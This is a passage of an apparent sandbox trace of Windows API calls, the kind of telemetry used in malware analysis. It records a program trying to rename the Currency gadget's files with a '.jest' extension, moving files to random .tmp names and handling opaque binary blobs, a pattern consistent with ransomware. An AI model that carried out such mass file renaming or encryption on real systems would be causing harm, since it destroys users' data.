lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css.jest" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css\\currency.css.jest")) returned 0 [0126.463] GetLastError () returned 0x5 [0126.463] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥敜⵮单捜獳捜牵敲据⹹獣s") returned 0x4f [0126.463] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469134, cbMultiByte=79, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0126.463] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥敜⵮单捜獳捜牵敲据⹹獣s") returned 0x4f [0126.463] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469134, cbMultiByte=80, lpWideCharStr=0x144bb04, cchWideChar=159 | out: lpWideCharStr="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css") returned 80 [0126.463] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥敜⵮单捜獳捜牵敲据⹹獣⹳敪瑳") returned 0x54 [0126.463] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=84, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0126.463] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥敜⵮单捜獳捜牵敲据⹹獣⹳敪瑳") returned 0x54 [0126.463] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=85, lpWideCharStr=0x144eaec, cchWideChar=169 | out: lpWideCharStr="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css.jest") returned 85 [0126.463] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css", lpFilePart=0x18e6d8*="currency.css") returned 0x4f [0126.463] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c2e, dwReserved0=0x57, dwReserved1=0x0, cFileName="currency.css", cAlternateFileName="")) returned 0x143ce48 [0126.463] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.463] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.464] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.464] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x155)) [0126.464] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x155)) [0126.465] GetUserDefaultLCID () returned 0x409 [0126.465] VarBstrFromR4 (in: fltIn=0x4794452c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.34") returned 0x0 [0126.465] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.465] GetTickCount () returned 0x1152109 [0126.465] GetTickCount () returned 0x1152109 [0126.465] GetTickCount () returned 0x1152109 [0126.465] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.465] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.466] GetTickCount () returned 0x1152109 [0126.466] IsWindowVisible (hWnd=0x30268) returned 0 [0126.466] Sleep (dwMilliseconds=0x0) [0126.466] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.467] GetFullPathNameA (in: lpFileName="5D24B2gCDiowQWkGphH27c_uzn gBogPiWY9Tlyn9KZ2_SZxAdSZtLqS2QNeVBKYXifAwHBDY0fGYt7y9bbgDkEKB0ee-RCYHtwrV.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5D24B2gCDiowQWkGphH27c_uzn gBogPiWY9Tlyn9KZ2_SZxAdSZtLqS2QNeVBKYXifAwHBDY0fGYt7y9bbgDkEKB0ee-RCYHtwrV.tmp", lpFilePart=0x18e708*="5D24B2gCDiowQWkGphH27c_uzn gBogPiWY9Tlyn9KZ2_SZxAdSZtLqS2QNeVBKYXifAwHBDY0fGYt7y9bbgDkEKB0ee-RCYHtwrV.tmp") returned 0x8f [0126.467] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css", lpFilePart=0x18e708*="currency.css") returned 0x4f [0126.467] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css\\currency.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5D24B2gCDiowQWkGphH27c_uzn gBogPiWY9Tlyn9KZ2_SZxAdSZtLqS2QNeVBKYXifAwHBDY0fGYt7y9bbgDkEKB0ee-RCYHtwrV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5d24b2gcdiowqwkgphh27c_uzn gbogpiwy9tlyn9kz2_szxadsztlqs2qnevbkyxifawhbdy0fgyt7y9bbgdkekb0ee-rcyhtwrv.tmp")) returned 0 [0126.467] GetLastError () returned 0x5 [0126.467] GetLastError () returned 0x5 [0126.467] SetLastError (dwErrCode=0x5) [0126.467] GetLastError () returned 0x5 [0126.467] SetLastError (dwErrCode=0x5) [0126.468] GetLastError () returned 0x5 [0126.468] SetLastError (dwErrCode=0x5) [0126.468] GetFullPathNameA (in: lpFileName="5D24B2gCDiowQWkGphH27c_uzn gBogPiWY9Tlyn9KZ2_SZxAdSZtLqS2QNeVBKYXifAwHBDY0fGYt7y9bbgDkEKB0ee-RCYHtwrV.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5D24B2gCDiowQWkGphH27c_uzn gBogPiWY9Tlyn9KZ2_SZxAdSZtLqS2QNeVBKYXifAwHBDY0fGYt7y9bbgDkEKB0ee-RCYHtwrV.tmp", lpFilePart=0x18e6e4*="5D24B2gCDiowQWkGphH27c_uzn gBogPiWY9Tlyn9KZ2_SZxAdSZtLqS2QNeVBKYXifAwHBDY0fGYt7y9bbgDkEKB0ee-RCYHtwrV.tmp") returned 0x8f [0126.468] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5D24B2gCDiowQWkGphH27c_uzn gBogPiWY9Tlyn9KZ2_SZxAdSZtLqS2QNeVBKYXifAwHBDY0fGYt7y9bbgDkEKB0ee-RCYHtwrV.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x34324435, cFileName="B2gCDiowQWkGphH27c_uzn gBogPiWY9Tlyn9KZ2_SZxAdSZtLqS2QNeVBKYXifAwHBDY0fGYt7y9bbgDkEKB0ee-RCYHtwrV.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.468] GetLastError () returned 0x2 [0126.468] GetLastError () returned 0x2 [0126.468] SetLastError (dwErrCode=0x2) [0126.469] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.470] GetLastError () returned 0x0 [0126.470] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.471] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.471] GetLastError () returned 0x0 [0126.471] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.471] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ő", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.471] GetLastError () returned 0x0 [0126.471] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.471] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.471] GetTickCount () returned 0x1152109 [0126.471] GetTickCount () returned 0x1152109 [0126.471] GetTickCount () returned 0x1152109 [0126.471] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.471] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.471] GetTickCount () returned 0x1152109 [0126.472] IsWindowVisible (hWnd=0x30268) returned 0 [0126.472] Sleep (dwMilliseconds=0x0) [0126.472] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_down.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images\\add_down.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_down.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images\\add_down.png.jest")) returned 0 [0126.485] GetLastError () returned 0x5 [0126.485] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥楜慭敧屳摡彤潤湷瀮杮") returned 0x52 [0126.485] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=82, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0126.485] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥楜慭敧屳摡彤潤湷瀮杮") returned 0x52 [0126.485] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=83, lpWideCharStr=0x14cf144, cchWideChar=165 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_down.png") returned 83 [0126.486] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥楜慭敧屳摡彤潤湷瀮杮樮獥t") returned 0x57 [0126.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=87, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0126.486] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥楜慭敧屳摡彤潤湷瀮杮樮獥t") returned 0x57 [0126.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=88, lpWideCharStr=0x144eaec, cchWideChar=175 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_down.png.jest") returned 88 [0126.486] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_down.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_down.png", lpFilePart=0x18e6d8*="add_down.png") returned 0x52 [0126.486] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_down.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb661993, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb661993, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb67725c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x200, dwReserved0=0x57, dwReserved1=0x0, cFileName="add_down.png", cAlternateFileName="")) returned 0x143ce48 [0126.487] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.489] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.489] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x165)) [0126.489] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x165)) [0126.489] GetUserDefaultLCID () returned 0x409 [0126.489] VarBstrFromR4 (in: fltIn=0x4794452e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.36") returned 0x0 [0126.489] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18ea28 | out: ppsaOut=0x18ea28) returned 0x0 [0126.490] GetUserDefaultLCID () returned 0x409 [0126.490] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x18e9b8, cchData=6 | out: lpLCData="1252") returned 5 [0126.490] SysStringByteLen (bstr="᪜鐂쪠冇童騭ꉭ鳮෇鱔蟴㽤ꪕ﫞퉊诿ꩼὬ홿㶬㐊豴ᶅ쬧橠瑳蠤끷䵖ᝊ䕭咊㙌剷鄮鉎鲥憙䰗鋉翽懲䁭Ⴉ잗錸ꁘ㴨મ?㵪雛꧓辋뇑솪➃㺵碰㍬葶砡ꊸ䍁㠷핟駯狑샰隮젤ꢣ媎潑∇୅굛ﵮ굓ྐྵ촉跾紷?䟬촤컈碳?溜軜䭶⾌﫜鮌픊㥵犑瞰?輌襬偘燉뗮뾑쒂\x99◯쨍縤䈥䓖␺ᘪ昶臈溷坃櫏ᆣ൳퐭?꽊ⷱ蒋㥮䃝埈錾ꭖ蜔볽?꺑艺净稺㢷✳⠏璌衞怙몦䞸魍沖搫ⅈᯀྕꢺ젒࣋딯࣪ἔ얟㱹荨ⲓꧩ쒨蜅쾣?읂䰣祜萌斏�ஒ羍㣟?⒟ನ䴄ཾ粳陜扉뮙揍䯑㕫葾꙽廢ଠ냒ﱘ憛䟼ەﺴ窡㛂ꀵ颵麟厜㞱쿎姸≶犈⍌္ꬂ㠚雬ቯꬺٰ軠䏽࿴撅譑熔孪칯쵙à") returned 0x201 [0126.490] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x14fe754, cbMultiByte=513, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 513 [0126.490] SysStringByteLen (bstr="᪜鐂쪠冇童騭ꉭ鳮෇鱔蟴㽤ꪕ﫞퉊诿ꩼὬ홿㶬㐊豴ᶅ쬧橠瑳蠤끷䵖ᝊ䕭咊㙌剷鄮鉎鲥憙䰗鋉翽懲䁭Ⴉ잗錸ꁘ㴨મ?㵪雛꧓辋뇑솪➃㺵碰㍬葶砡ꊸ䍁㠷핟駯狑샰隮젤ꢣ媎潑∇୅굛ﵮ굓ྐྵ촉跾紷?䟬촤컈碳?溜軜䭶⾌﫜鮌픊㥵犑瞰?輌襬偘燉뗮뾑쒂\x99◯쨍縤䈥䓖␺ᘪ昶臈溷坃櫏ᆣ൳퐭?꽊ⷱ蒋㥮䃝埈錾ꭖ蜔볽?꺑艺净稺㢷✳⠏璌衞怙몦䞸魍沖搫ⅈᯀྕꢺ젒࣋딯࣪ἔ얟㱹荨ⲓꧩ쒨蜅쾣?읂䰣祜萌斏�ஒ羍㣟?⒟ನ䴄ཾ粳陜扉뮙揍䯑㕫葾꙽廢ଠ냒ﱘ憛䟼ەﺴ窡㛂ꀵ颵麟厜㞱쿎姸≶犈⍌္ꬂ㠚雬ቯꬺٰ軠䏽࿴撅譑熔孪칯쵙à") returned 0x201 [0126.490] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x14fe754, cbMultiByte=514, lpWideCharStr=0x53af06c, cchWideChar=1027 | out: lpWideCharStr="œ\x1a\x02” Ê‡Qåz-šm¢îœÇ\r\x9dâTœô‡d?•ªÞúJÒÿ‹|ªl\x1f\x7fÖ¬=\n4{êtŒ…\x1d'Ë`jst$ˆw°VMJ\x17mEŠTL6wR.‘N’¥œ™a\x17LÉ’Îðý\x7f‹ú]ëm@©\x10—Ç8“\x04ïX (=®\n2Új=Û–höÓ©°é‹\x8fѱªÁƒ'µ>°xl3v„!x¸¢AC78_Õï™ÑrðÀ®–$È0ö£¨ŽZQo\x07\"E\x0b[­oánýS­¹\x0f\x09Í{ñþ\x8d7}gÙìG$ÍÈÎ\x12î³xQÝËùÜŽvKŒ/ÜúŒ›\nÕ×èu9‘r°w—Ø\x0c\x8fl‰XPÉq¿‚Ä™") returned 514 [0126.490] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.490] GetTickCount () returned 0x1152118 [0126.490] GetTickCount () returned 0x1152118 [0126.490] GetTickCount () returned 0x1152118 [0126.490] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.490] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.490] GetTickCount () returned 0x1152118 [0126.491] IsWindowVisible (hWnd=0x30268) returned 0 [0126.491] Sleep (dwMilliseconds=0x0) [0126.491] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.492] GetFullPathNameA (in: lpFileName="jTF-xm_GO2lsh9IB-EpVHXrI7LsNZplI25rRzjcia MM 7mj9y2MOTuc6514vCJOuFL3wCrb8OD-L848lBQ08ljqx0ShcuTg77TT-.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jTF-xm_GO2lsh9IB-EpVHXrI7LsNZplI25rRzjcia MM 7mj9y2MOTuc6514vCJOuFL3wCrb8OD-L848lBQ08ljqx0ShcuTg77TT-.tmp", lpFilePart=0x18e708*="jTF-xm_GO2lsh9IB-EpVHXrI7LsNZplI25rRzjcia MM 7mj9y2MOTuc6514vCJOuFL3wCrb8OD-L848lBQ08ljqx0ShcuTg77TT-.tmp") returned 0x8f [0126.492] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_down.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_down.png", lpFilePart=0x18e708*="add_down.png") returned 0x52 [0126.492] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_down.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images\\add_down.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jTF-xm_GO2lsh9IB-EpVHXrI7LsNZplI25rRzjcia MM 7mj9y2MOTuc6514vCJOuFL3wCrb8OD-L848lBQ08ljqx0ShcuTg77TT-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jtf-xm_go2lsh9ib-epvhxri7lsnzpli25rrzjcia mm 7mj9y2motuc6514vcjoufl3wcrb8od-l848lbq08ljqx0shcutg77tt-.tmp")) returned 0 [0126.495] GetLastError () returned 0x5 [0126.495] GetLastError () returned 0x5 [0126.495] SetLastError (dwErrCode=0x5) [0126.495] GetLastError () returned 0x5 [0126.495] SetLastError (dwErrCode=0x5) [0126.495] GetLastError () returned 0x5 [0126.495] SetLastError (dwErrCode=0x5) [0126.495] GetFullPathNameA (in: lpFileName="jTF-xm_GO2lsh9IB-EpVHXrI7LsNZplI25rRzjcia MM 7mj9y2MOTuc6514vCJOuFL3wCrb8OD-L848lBQ08ljqx0ShcuTg77TT-.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jTF-xm_GO2lsh9IB-EpVHXrI7LsNZplI25rRzjcia MM 7mj9y2MOTuc6514vCJOuFL3wCrb8OD-L848lBQ08ljqx0ShcuTg77TT-.tmp", lpFilePart=0x18e6e4*="jTF-xm_GO2lsh9IB-EpVHXrI7LsNZplI25rRzjcia MM 7mj9y2MOTuc6514vCJOuFL3wCrb8OD-L848lBQ08ljqx0ShcuTg77TT-.tmp") returned 0x8f [0126.495] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jTF-xm_GO2lsh9IB-EpVHXrI7LsNZplI25rRzjcia MM 7mj9y2MOTuc6514vCJOuFL3wCrb8OD-L848lBQ08ljqx0ShcuTg77TT-.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x2d46546a, cFileName="xm_GO2lsh9IB-EpVHXrI7LsNZplI25rRzjcia MM 7mj9y2MOTuc6514vCJOuFL3wCrb8OD-L848lBQ08ljqx0ShcuTg77TT-.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.495] GetLastError () returned 0x2 [0126.495] GetLastError () returned 0x2 [0126.495] SetLastError (dwErrCode=0x2) [0126.496] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.496] GetLastError () returned 0x0 [0126.496] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.497] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ő", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.497] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.497] GetTickCount () returned 0x1152128 [0126.497] GetTickCount () returned 0x1152128 [0126.497] GetTickCount () returned 0x1152128 [0126.497] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.497] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.497] GetTickCount () returned 0x1152128 [0126.497] IsWindowVisible (hWnd=0x30268) returned 0 [0126.497] Sleep (dwMilliseconds=0x0) [0126.501] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_over.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images\\add_over.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_over.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images\\add_over.png.jest")) returned 0 [0126.503] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_over.png", nBufferLength=0x104, 